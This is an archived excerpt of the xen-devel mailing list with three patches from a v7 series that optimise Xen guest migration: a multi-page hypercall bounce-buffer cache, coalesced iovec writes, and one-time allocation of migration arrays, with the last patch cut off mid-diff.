	4CKo+VjFn8CXBLPuwGag5BTtkP5r3c0LLdr85S0GIiiOitGmD1cqLUess096MrMK8wkqro+Beuh
	q8rjwoZoCXsDHh8YExvTT1cz3gnbYWvL247Yk72kTgsaOH20SLaUThI6he2LEVnxgTJY2dhAgP5
	qIegKyYH6Jzt2YfzAIO5uMa+KnL8ngDeYti6LWn2FQAzrXDEXwkNHEhv8+yRqL2mHgrcy2WQrqK
	0gAOjsfcbQhenGtJK9RO07EV9l0Cf8FUi7RC+1OQefRe7CwhrZlnKCHG4cy9P5MunwASlFHnXDr
	zRkipuAuK6uKttudfQsDTVgX/Ks1cHBvtfCIcgAyaMQSpAi336FyIx0knGzJUHtaTtTuJANqXQ4
	FTCK0lQfWYi/LTVOBc=
X-Received: by 2002:a05:600c:4e48:b0:493:bb6b:5bb5 with SMTP id 5b1f17b1804b1-493e686efdamr56247905e9.13.1783583063228;
        Thu, 09 Jul 2026 00:44:23 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 1/6] libs/call: cache up to 4 pages in hypercall bounce buffers
Date: Thu,  9 Jul 2026 08:43:52 +0100
Message-ID: <20260709074358.256084-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1783583063-0ED162B8-381D6110/0/0
X-purgate-type: clean
X-purgate-size: 5532

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

During migration there are a lot of mmap/munmap calls,
because xc_get_pfn_type_batch() exceeds the default hypercall bounce
buffer cache size, and needs to allocate every time it is called.

munmap() is slow, especially in a PV Dom0 (takes an emulation fault),
so is best avoided.

Eventually it'd be good if the memory pool from  xmalloc_tlsf.c
was reused here, but for now make it handle the commonly encountered
sizes (so far up to 4 pages).

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v4:
- fix off-by-one bug.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc.

Changes since v6:
- align changes made to cache_alloc to cache_free.
---
 tools/libs/call/buffer.c  | 34 +++++++++++++++++++++++-----------
 tools/libs/call/core.c    |  3 ++-
 tools/libs/call/private.h |  8 +++++---
 3 files changed, 30 insertions(+), 15 deletions(-)

diff --git a/tools/libs/call/buffer.c b/tools/libs/call/buffer.c
index 155e4f9d43..10002faa28 100644
--- a/tools/libs/call/buffer.c
+++ b/tools/libs/call/buffer.c
@@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
 {
     void *p = NULL;
 
+    if ( nr_pages == 0 )
+        return NULL;
+
     cache_lock(xcall);
 
     xcall->buffer_total_allocations++;
@@ -56,13 +59,13 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
     if ( xcall->buffer_current_allocations > xcall->buffer_maximum_allocations )
         xcall->buffer_maximum_allocations = xcall->buffer_current_allocations;
 
-    if ( nr_pages > 1 )
+    if ( nr_pages > ARRAY_SIZE(xcall->buffer_cache) )
     {
         xcall->buffer_cache_toobig++;
     }
-    else if ( xcall->buffer_cache_nr > 0 )
+    else if ( xcall->buffer_cache_nr[nr_pages-1] > 0 )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
+        p = xcall->buffer_cache[nr_pages-1][--xcall->buffer_cache_nr[nr_pages-1]];
         xcall->buffer_cache_hits++;
     }
     else
@@ -79,15 +82,18 @@ static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
 {
     int rc = 0;
 
+    if ( nr_pages == 0 )
+        return 0;
+
     cache_lock(xcall);
 
     xcall->buffer_total_releases++;
     xcall->buffer_current_allocations--;
 
-    if ( nr_pages == 1 &&
-         xcall->buffer_cache_nr < BUFFER_CACHE_SIZE )
+    if ( nr_pages && nr_pages <= ARRAY_SIZE(xcall->buffer_cache) &&
+         xcall->buffer_cache_nr[nr_pages-1] < BUFFER_CACHE_SIZE )
     {
-        xcall->buffer_cache[xcall->buffer_cache_nr++] = p;
+        xcall->buffer_cache[nr_pages-1][xcall->buffer_cache_nr[nr_pages-1]++] = p;
         rc = 1;
     }
 
@@ -108,17 +114,23 @@ void buffer_release_cache(xencall_handle *xcall)
     DBGPRINTF("current allocations:%d maximum allocations:%d",
               xcall->buffer_current_allocations,
               xcall->buffer_maximum_allocations);
-    DBGPRINTF("cache current size:%d",
-              xcall->buffer_cache_nr);
+    for ( unsigned i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
+    {
+        DBGPRINTF("cache current size[%u pages]:%d", i+1,
+                xcall->buffer_cache_nr[i]);
+    }
     DBGPRINTF("cache hits:%d misses:%d toobig:%d",
               xcall->buffer_cache_hits,
               xcall->buffer_cache_misses,
               xcall->buffer_cache_toobig);
 
-    while ( xcall->buffer_cache_nr > 0 )
+    for ( unsigned i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
-        osdep_free_pages(xcall, p, 1);
+        while ( xcall->buffer_cache_nr[i] > 0 )
+        {
+            p = xcall->buffer_cache[i][--xcall->buffer_cache_nr[i]];
+            osdep_free_pages(xcall, p, i + 1);
+        }
     }
 
     cache_unlock(xcall);
diff --git a/tools/libs/call/core.c b/tools/libs/call/core.c
index 02c4f8e1ae..dd8877c1a0 100644
--- a/tools/libs/call/core.c
+++ b/tools/libs/call/core.c
@@ -14,6 +14,7 @@
  */
 
 #include <stdlib.h>
+#include <string.h>
 
 #include "private.h"
 
@@ -44,7 +45,7 @@ xencall_handle *xencall_open(xentoollog_logger *logger, unsigned open_flags)
     xentoolcore__register_active_handle(&xcall->tc_ah);
 
     xcall->flags = open_flags;
-    xcall->buffer_cache_nr = 0;
+    memset(xcall->buffer_cache_nr, 0, sizeof(xcall->buffer_cache_nr));
 
     xcall->buffer_total_allocations = 0;
     xcall->buffer_total_releases = 0;
diff --git a/tools/libs/call/private.h b/tools/libs/call/private.h
index 9c3aa432ef..8e6a208975 100644
--- a/tools/libs/call/private.h
+++ b/tools/libs/call/private.h
@@ -31,13 +31,15 @@ struct xencall_handle {
     Xentoolcore__Active_Handle tc_ah;
 
     /*
-     * A simple cache of unused, single page, hypercall buffers
+     * A simple cache of unused, small, hypercall buffers
+     * buffer_cache[i]'s size is (i+1) pages
      *
      * Protected by a global lock.
      */
 #define BUFFER_CACHE_SIZE 4
-    int buffer_cache_nr;
-    void *buffer_cache[BUFFER_CACHE_SIZE];
+#define BUFFER_CACHE_NRPAGES 4
+    int buffer_cache_nr[BUFFER_CACHE_NRPAGES];
+    void *buffer_cache[BUFFER_CACHE_NRPAGES][BUFFER_CACHE_SIZE];
 
     /*
      * Hypercall buffer statistics. All protected by the global
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357592.1611986 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQp-0007dV-Vm; Thu, 09 Jul 2026 07:44:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357592.1611986; Thu, 09 Jul 2026 07:44:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQp-0007dL-SV; Thu, 09 Jul 2026 07:44:27 +0000
Received: by outflank-mailman (input) for mailman id 1357592;
 Thu, 09 Jul 2026 07:44:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQo-0007Bx-61
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQn-00Ca40-J3
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:25 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f514d-e002-0a2a0a5209dd-0a2a4507bdac-42
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:25 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5159-9c8e-0a2a45070019-d1558029ccdd-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:25 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493ec555a26so2512215e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:25 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.24
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583065; x=1784187865; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=YenDywqbNZBwQc5oagyk/xEUwwKpzwyMPkUM94WQxwg=;
        b=bNFQ79MU3scsJyHtRQrt+R13/8XsqlDi/+suoLDH0aR9t5+yxy9pviiBXc0ML6I6IB
         u/TZRH2akVIgqSEV/WX9CsL+VGmSIMYFyg7bZajGqfuWJHTPoXgI93i0+8eVQnREVbUF
         x9KPydIpeqCj1N9xiTgcNpvsUxK7F/ZrpbzXkaR7taSoy/lMve3ePEKzcV8xAVx2Phfu
         8TrAZIkKydiuCY79B19tuyS6OTg7ndmF1BV6+GE/H69IuwnwH7PXqVZz5SCi0jPMlHJR
         E0M1v8PVj7gLIBOeqsmD39YUKYXpZxQnmyLSg7dh62p8yYvVGJn1syyMfryRRaF2AoHU
         +6tQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583065; x=1784187865;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=YenDywqbNZBwQc5oagyk/xEUwwKpzwyMPkUM94WQxwg=;
        b=b6zEZfMAwwEEjYnH/TutjD5kGxgI1bgQrYEoExG4sB9qAfsGM6KFjQl+XvqXfa3ZX+
         jl7Dwl9PvV9Y+K0tio0Ur17RLJr+7t5r6SVrkrAcHNklVhdJjNST9wrhiNk6bJTH5LOp
         kL1QDy3hZdSIVydz0vhDFPYs4Bk8uVfq9gzhAJjLuD94CFgHqmlFCc66hGOfW7fntOW8
         NTAXFdS6IJ+Tv+4KFUvw4iwBBKbIQR/jgUztjhdm9RiDKnnpHjMVkmiAfstmZFBLtllp
         tyZBeoKnzsh5eDi3zjy6rMa6XiSnnVdHR/hIzbRWoXUDiNMgm8LZJhfSGhDs4kWEWrdy
         V9YA==
X-Gm-Message-State: AOJu0YzvkyHIBnhv0gEwqZnCcNybVIGgM2mDP6wFVVJMA13UX460IB/X
	hH9V/h3pWav2+IlOB1SQSBtaF9kT7MqM5uTxzJUlfo/gdGJmhWAjBJM3J9K6U1hM/G4=
X-Gm-Gg: AfdE7ckbGQsynPM78dLEe1R2EO50g3sSCAwjvPdTPcgVFUihReRLrsGwpMVa51bNUnM
	B9sEjDcCH5EI3PuFqxo6ogI9tKvYEOmvSF65Xzen+29cHx/MoKNX5trDxQ44Gxc5dtG2n0n/OdY
	r15oDZeyu/ioxawp0NeRKJxm+CGpVvABkSxsr3DI75xegTE5iyuNPImhNqUE+WCVsK3T4sR7GTj
	P7E/0Rt5ZO7kpm8PYdiZykdsRGhH1J8Js5pf8i38Iew/DjFer7FpestPGPwwZmUyuzlUr0ECPoS
	cW6iGaebwSq6TpYsxCG3W2KasnmJcZ9mB/vQjg7YSzvl7XHWKOfOvn3RI5JTbayo9lCeWqbaSi7
	oILcpbIx49cPPbzaYCqecrKuOBPeCXTX4GuZRIyxAbcVp5vQA/CJ8qgNoGs+bY50za5YVS1yZbs
	//FPp+lm8Op4mdXyy8zjvVuC52AYd3cwa/WtgBKW0M4KdenAK/ImSeR604VksRwYA2qQLoJ5rTl
	x0BIgv+SjJEftdjRy8idZV9phB4IQ==
X-Received: by 2002:a05:600c:4753:b0:493:b84f:9c28 with SMTP id 5b1f17b1804b1-493e6892e6dmr55979615e9.4.1783583064828;
        Thu, 09 Jul 2026 00:44:24 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v7 3/6] libs/guest: fill directly iov structure collapsing them
Date: Thu,  9 Jul 2026 08:43:54 +0100
Message-ID: <20260709074358.256084-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783583065-7D72125E-F8BA5D33/0/0
X-purgate-type: clean
X-purgate-size: 3965

Instead of storing page pointers into an array and lately adding to
iov vector add the pages directly to iov to avoid "guest_data"
array.
Each page was sent using a different iovec item. This potentially exceed
Linux maximum (1024).
Coalesce adjacent IO vector elements to attempt to reduce the number of
overall IO vectors for each operation.
Also some implementation (MiniOS) emulate writev with multiple write calls.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v4:
- added Reviewed-by;
- improved commit message;
- minor style fix.

Changes since v6:
- merged 2 commits;
- reduced diff.
---
 tools/libs/guest/xg_sr_save.c | 33 +++++++++++----------------------
 1 file changed, 11 insertions(+), 22 deletions(-)

diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index a6734579aa..84fdbe4140 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -88,7 +88,6 @@ static int write_batch(struct xc_sr_context *ctx)
     xc_interface *xch = ctx->xch;
     xen_pfn_t *mfns = NULL, *types = NULL;
     void *guest_mapping = NULL;
-    void **guest_data = NULL;
     void **local_pages = NULL;
     int *errors = NULL, rc = -1;
     unsigned int i, p, nr_pages = 0, nr_pages_mapped = 0;
@@ -118,8 +117,6 @@ static int write_batch(struct xc_sr_context *ctx)
     types = malloc(nr_pfns * sizeof(*types));
     /* Errors from attempting to map the gfns. */
     errors = malloc(nr_pfns * sizeof(*errors));
-    /* Pointers to page data to send.  Mapped gfns or local allocations. */
-    guest_data = calloc(nr_pfns, sizeof(*guest_data));
     /* Pointers to locally allocated pages.  Need freeing. */
     local_pages = calloc(nr_pfns, sizeof(*local_pages));
     /* iovec[] for writev(). */
@@ -127,7 +124,7 @@ static int write_batch(struct xc_sr_context *ctx)
     /* page_data record PFNs list */
     rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
 
-    if ( !mfns || !types || !errors || !guest_data || !local_pages || !iov || !rec_pfns )
+    if ( !mfns || !types || !errors || !local_pages || !iov || !rec_pfns )
     {
         ERROR("Unable to allocate arrays for a batch of %u pages",
               nr_pfns);
@@ -218,8 +215,17 @@ static int write_batch(struct xc_sr_context *ctx)
                 else
                     goto err;
             }
+            else if ( iov[iovcnt - 1].iov_base + iov[iovcnt - 1].iov_len !=
+                      page )
+            {
+                iov[iovcnt].iov_base = page;
+                iov[iovcnt].iov_len = PAGE_SIZE;
+                iovcnt++;
+            }
             else
-                guest_data[i] = page;
+            {
+                iov[iovcnt - 1].iov_len += PAGE_SIZE;
+            }
 
             rc = -1;
             ++p;
@@ -231,28 +237,12 @@ static int write_batch(struct xc_sr_context *ctx)
     for ( i = 0; i < nr_pfns; ++i )
         rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
 
-    if ( nr_pages )
-    {
-        for ( i = 0; i < nr_pfns; ++i )
-        {
-            if ( guest_data[i] )
-            {
-                iov[iovcnt].iov_base = guest_data[i];
-                iov[iovcnt].iov_len = PAGE_SIZE;
-                iovcnt++;
-                --nr_pages;
-            }
-        }
-    }
-
     if ( writev_exact(ctx->fd, iov, iovcnt) )
     {
         PERROR("Failed to write page data to stream");
         goto err;
     }
 
-    /* Sanity check we have sent all the pages we expected to. */
-    assert(nr_pages == 0);
     rc = ctx->save.nr_batch_pfns = 0;
 
  err:
@@ -263,7 +253,6 @@ static int write_batch(struct xc_sr_context *ctx)
     free(rec_pfns);
     free(iov);
     free(local_pages);
-    free(guest_data);
     free(errors);
     free(types);
     free(mfns);
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357594.1612004 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQt-00086V-Cb; Thu, 09 Jul 2026 07:44:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357594.1612004; Thu, 09 Jul 2026 07:44:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQt-00086M-8r; Thu, 09 Jul 2026 07:44:31 +0000
Received: by outflank-mailman (input) for mailman id 1357594;
 Thu, 09 Jul 2026 07:44:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQr-0007rR-CJ
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQq-00B0uc-P9
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:28 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f514d-bab6-0a2a0a5309dd-0a2a4505a858-36
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:28 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f515c-3cb2-0a2a45050019-d155802aec98-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:28 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493e497643fso8374575e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:28 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.26
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583068; x=1784187868; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=VIQbF+Op50T3FNdB6k5+hscux1I4CT+hNhWYmJo58Ts=;
        b=dFi+2J0V/FQPNGrcsa4PGCk701bLEGOkqd712O7KMfcwv4+yLEVYEjIKKWjXksmKrt
         jnDCqW0h6o/JLQFCvzwakOrT7mJutLBpUUKYUeQ72bLAT4rLpoPwHkX+GuR82dDmKQsL
         Jp6XyWt2k6kiOkKVJQr7x+AV2dAwG6d1WvWj1B0PscKfKz10KBhNA+O4G3cSjfB3Mto0
         1y+byQ+pLbeOqUAeSDaKlov6F79mseIGyu2wX2KnIk6dLyVWEe1CEFAuXmtBqvlw4MbV
         JTD5S4ErjwKkImBNknbc74DTG/DBdG+lgwgpfyK5XWUir47z42u+2tgqXAW5jMpIyPf4
         kVKw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583068; x=1784187868;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=VIQbF+Op50T3FNdB6k5+hscux1I4CT+hNhWYmJo58Ts=;
        b=sfhTFSIKvOuCeSmhlGEUbzzhFxreqSuWy8PMi4NV7MH3WvkOnUFMsbSlpf7o1aeVMZ
         XAiKo5HqxlV0CEMX1nR780KaK2L7nVcgVqBX4Xs9fxa81gaGXkVUMYi0I/iYOigItHKJ
         nqQ6xxIHmCIyjnBBnYyG7L1+bMvOcLbS+EI07T5dTG2gD3RVCNuCCM6ltl97XppU091Z
         +zXTZxlbpqgfT+x/nzHL5ffMOZX3vkZiuS8xdGT4/pvg26mEhwjdFvabhAt6Zddjgjrl
         XYNxRIFV11i3AHusz+cNwlX5J0YStQ2DC8HqX6+wBGz2BB9oD+Nd+TwsmVQtxpwzD6je
         X3Hg==
X-Gm-Message-State: AOJu0YxDrJ8wYAnY+BDCWL6Z5brazeW7sCKDNAEHDkr+EhEzlqWLg280
	IlHN++tQYx0+HaAlQEojKCtg9bPHNrJKm3qB995C6zE8YqtR6HeHMWCIAAudwdawy5E=
X-Gm-Gg: AfdE7cnYP6IsmP9aaf1zWf99WKYTZ1TOmzKpWWmOola3eJWGpPz9BIWJsgCv2fKeq0Y
	laDsRIRhZdQ/4+JrSZkvrxEVqK/qzNatFNs/1tX/twloESC4FEv9yulTGS5co9m/j5VMnyhi4fb
	hoghypIMY7WC/583JY+V9pFavnHgt0cT96YTMSHRWO68L2NXdpFH2UpXclDpym1gyQ7Mm1X/9Un
	UvuwmzEt102MaFHofAMyKI1hdIyCIcliGxxyOgDW0/ZTKxTtyPKNmzKxwCbL3mwH1ogRDDd/bir
	uIZ30yJL1tpERiRrxul78jfc189ror4CYtHAFtgtQWCvTQIvb0pgApLAer0SdKi/0MK5dFduF0y
	inF8S/XHjwEyg9L9OGZjxQREupgxlLBM6UvMy4L10CA1zZqqiOUmUN5WRc+wzf2+liN2VxB7nZx
	z5uDWZ4HPhCHRwR3a0ADQ4SZjkSSIP4yqjgZ3vRegdja5zwp/z2EirTionlNzMFr6gF8lzB3CGo
	Kpz9v8aY591ERfDR+k=
X-Received: by 2002:a05:600c:6088:b0:493:d100:b487 with SMTP id 5b1f17b1804b1-493e6828725mr54656495e9.0.1783583067956;
        Thu, 09 Jul 2026 00:44:27 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 5/6] libs/guest: allocate various migration arrays just once
Date: Thu,  9 Jul 2026 08:43:56 +0100
Message-ID: <20260709074358.256084-6-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1783583068-1771B2B8-92FE7BDE/0/0
X-purgate-type: clean
X-purgate-size: 3812

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

Allocate these array just once at the start of migration,
using the maximum batch size, and free them at the end.

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v3:
- fix comment style

Changes since v4:
- change order of fields in structure.

Changes since v6:
- split preparation commit.
---
 tools/libs/guest/xg_sr_common.h |  6 ++++++
 tools/libs/guest/xg_sr_save.c   | 33 ++++++++++++---------------------
 2 files changed, 18 insertions(+), 21 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index 7574c9f5b6..c07c6db59e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -246,6 +246,12 @@ struct xc_sr_context
             struct xc_sr_context_save_buffers
             {
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                xen_pfn_t mfns[MAX_BATCH_SIZE];
+                xen_pfn_t types[MAX_BATCH_SIZE];
+                void *local_pages[MAX_BATCH_SIZE];
+                struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                uint64_t rec_pfns[MAX_BATCH_SIZE];
+                int errors[MAX_BATCH_SIZE];
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 8956f4260d..a49df00971 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -117,24 +117,18 @@ static int write_batch(struct xc_sr_context *ctx)
     batch_pfns = ctx->save.buffers->batch_pfns;
 
     /* Mfns of the batch pfns. */
-    mfns = malloc(nr_pfns * sizeof(*mfns));
+    mfns = ctx->save.buffers->mfns;
     /* Types of the batch pfns. */
